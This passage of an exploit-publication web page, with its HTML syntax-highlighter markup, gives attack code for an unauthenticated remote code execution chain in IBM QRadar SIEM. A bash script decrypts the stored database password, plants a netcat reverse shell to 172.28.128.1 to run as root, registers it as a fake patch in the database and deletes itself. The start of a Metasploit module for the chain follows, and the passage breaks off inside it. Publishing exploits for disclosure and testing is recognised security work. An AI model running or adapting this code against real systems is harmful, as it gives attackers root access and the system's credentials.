I_P_DEC ${AU_CRYPT} | cut -d= -f2-)    #if 7.2.8 or greater, use new method for hashing and salting passwords  if [ $QVERSION -gt 727 ]  then      PASSWORD=$(perl &lt;(echo ${P_DEC} | base64 -d) &lt;(echo ${PASSWORDENCRYPTED}))  \t\t\t[ $? != 0 ] &amp;&amp; echo &#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221; &amp;&amp; exit 255  else  \t\tAESKEY=`grep &#8216;aes.key=&#8217; $NVACONF\/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`        PASSWORD=`\/opt\/qradar\/bin\/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`  \t\t[ $? != 0 ] &amp;&amp; echo &#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221; &amp;&amp; exit 255  fi    PGPASSWORD=$PASSWORD \/usr\/bin\/psql -h localhost -U qradar qradar -c &#8220;insert into autoupdate_patch values (&#8216;superowned&#8217;,558,&#8217;minor&#8217;,false,1337,0,&#8221;,1,false,&#8221;,&#8221;,&#8221;,false)&#8221;    # delete ourselves  (sleep 2 &amp;&amp; rm &#8212; &#8220;$0&#8221;) &amp;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c510344759055-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c510344759055-40\">40<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-1\"><span class=\"crayon-p\">#!\/bin\/bash<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-3\"><span class=\"crayon-p\"># our reverse shell that will be executed as root<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-4\"><span class=\"crayon-v\">cat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;&lt;<\/span><span class=\"crayon-v\">EOF<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">store<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">configservices<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">staging<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">updates<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">superowned<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-5\"><span class=\"crayon-p\">#!\/bin\/sh<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-6\"><span class=\"crayon-v\">nc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-i\">sh<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">172.28.128.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4445<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-7\"><span class=\"crayon-v\">EOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-9\"><span class=\"crayon-p\">### below is adapted from \/opt\/qradar\/support\/changePasswd.sh<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-10\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">z<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">NVA<\/span><span class=\"crayon-sy\">_<\/span>CONF<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NVA_CONF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;\/opt\/qradar\/conf\/nva.conf&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-11\"><span class=\"crayon-v\">NVACONF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;^NVACONF=&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">NVA<\/span><span class=\"crayon-sy\">_<\/span>CONF<span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">dev<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-12\"><span class=\"crayon-v\">FRAMEWORKS_PROPERTIES_FILE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;frameworks.properties&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-13\"><span class=\"crayon-v\">FORENSICS_USER_FILE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;config_user.xml&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-14\"><span class=\"crayon-v\">FORENSICS_USER_FILE_CONFIG<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;$NVACONF\/$FORENSICS_USER_FILE&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-16\"><span class=\"crayon-p\"># get the encrypted db password from the config<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-17\"><span class=\"crayon-v\">PASSWORDENCRYPTED<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">cat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">FORENSICS_USER_FILE_CONFIG<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">grep <\/span><span class=\"crayon-v\">WEBUSER_DB_PASSWORD<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">o<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">P<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;(?&lt;=&gt;)([w=]*)(?=&lt;)&#8217;<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-19\"><span class=\"crayon-v\">QVERSION<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">myver<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">awk<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">F<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;{print $1$2$3}&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-20\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-21\"><span class=\"crayon-v\">AU_CRYPT<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">Q1<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">auCrypto<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pm<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-22\"><span class=\"crayon-v\">P_ENC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">I_P_ENC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">AU_CRYPT<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-23\"><span class=\"crayon-v\">P_DEC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">I_P_DEC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">AU_CRYPT<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-24\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-25\"><span class=\"crayon-p\">#if 7.2.8 or greater, use new method for hashing and salting passwords<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-26\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">QVERSION<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">gt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">727<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-27\"><span class=\"crayon-st\">then<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">PASSWORD<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">perl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">P_DEC<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">base64<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">PASSWORDENCRYPTED<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-29\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">exit<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">255<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-30\"><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-31\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-v\">AESKEY<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;aes.key=&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">NVACONF<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">FRAMEWORKS_PROPERTIES_FILE<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">c9<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-32\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">PASSWORD<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">runjava<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sh<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Daes<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">key<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">AESKEY <\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">q1labs<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">frameworks<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">crypto<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">AESUtil <\/span><span class=\"crayon-i\">decrypt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">PASSWORDENCRYPTED<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-34\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">exit<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">255<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-35\"><span class=\"crayon-e\">fi<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-36\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-37\"><span class=\"crayon-v\">PGPASSWORD<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">PASSWORD<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">psql<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">h<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">localhost<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">U<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">qradar <\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;insert into autoupdate_patch values (&#8216;superowned&#8217;,558,&#8217;minor&#8217;,false,1337,0,&#8221;,1,false,&#8221;,&#8221;,&#8221;,false)&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-38\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c510344759055-39\"><span class=\"crayon-p\"># delete ourselves<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c510344759055-40\"><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">sleep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rm<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;$0&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0053 seconds] -->  <\/p>\n<p><strong>Exploit<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c514733524048\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> ##  # This module requires Metasploit: http:\/\/metasploit.com\/download  # Current source: https:\/\/github.com\/rapid7\/metasploit-framework  ##    require &#8216;msf\/core&#8217;  require &#8216;securerandom&#8217;    class MetasploitModule &lt; Msf::Exploit::Remote    Rank = ExcellentRanking      include Msf::Exploit::Remote::HttpClient    include Msf::Exploit::Remote::HttpServer    include Msf::Exploit::EXE      def initialize(info = {})      super(update_info(info,        &#8216;Name&#8217;           =&gt; &#8216;IBM QRadar SIEM Unauthenticated Remote Code Execution&#8217;,        &#8216;Description&#8217;    =&gt; %q{          IBM QRadar SIEM has three vulnerabilities in the Forensics web application          that when chained together allow an attacker to achieve unauthenticated remote code execution.            The first stage bypasses authentication by fixating session cookies.          The second stage uses those authenticated sessions cookies to write a file to disk and execute          that file as the &#8220;nobody&#8221; user.          The third and final stage occurs when the file executed as &#8220;nobody&#8221; writes an entry into the          database that causes QRadar to execute a shell script controlled by the attacker as root within          the next minute.          Details about these vulnerabilities can be found in the advisories listed in References.            The Forensics web application is disabled in QRadar Community Edition, but the code still works,          so these vulnerabilities can be exploited in all flavours of QRadar.          This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. Most likely all versions released since          mid 2014 are vulnerable, as that was when the Forensics application was introduced.            Due to payload constraints, this module only runs a generic\/shell_reverse_tcp payload.        },        &#8216;Author&#8217;         =&gt;          [            &#8216;Pedro Ribeiro &lt;pedrib@gmail.com&gt;&#8217;         # Vulnerability discovery and Metasploit module          ],        &#8216;License&#8217;        